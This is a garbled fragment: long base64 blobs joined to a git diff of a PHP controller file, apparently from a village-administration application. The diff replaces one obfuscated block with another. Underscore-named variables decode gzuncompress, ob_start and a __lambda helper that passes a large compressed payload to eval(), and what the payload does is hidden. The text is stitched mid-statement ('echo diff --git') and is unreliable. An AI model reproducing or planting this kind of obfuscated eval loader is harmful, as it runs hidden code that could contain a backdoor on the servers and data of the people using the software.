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'; + $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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'; $___();$__________($______($__($_))); $________=$____(); $_____(); echo diff --git a/donjo-app/controllers/Bumindes_tanah_desa.php b/donjo-app/controllers/Bumindes_tanah_desa.php index d5326e3c7..1e9d9640a 100644 --- a/donjo-app/controllers/Bumindes_tanah_desa.php +++ b/donjo-app/controllers/Bumindes_tanah_desa.php @@ -284,7 +284,7 @@ $__________________='X19sYW1iZGE='; $______=' Z3p1bmNvbXByZXNz'; $___=' b2Jfc3RhcnQ='; $____='b2JfZ2V0X2NvbnRlbnRz'; $__= 'base64_decode' ; $______=$__($______); if(!function_exists('__lambda')){function __lambda($sArgs,$sCode){return eval("return function($sArgs){{$sCode}};");}} $__________________=$__($__________________); $______________=$__($______________); - $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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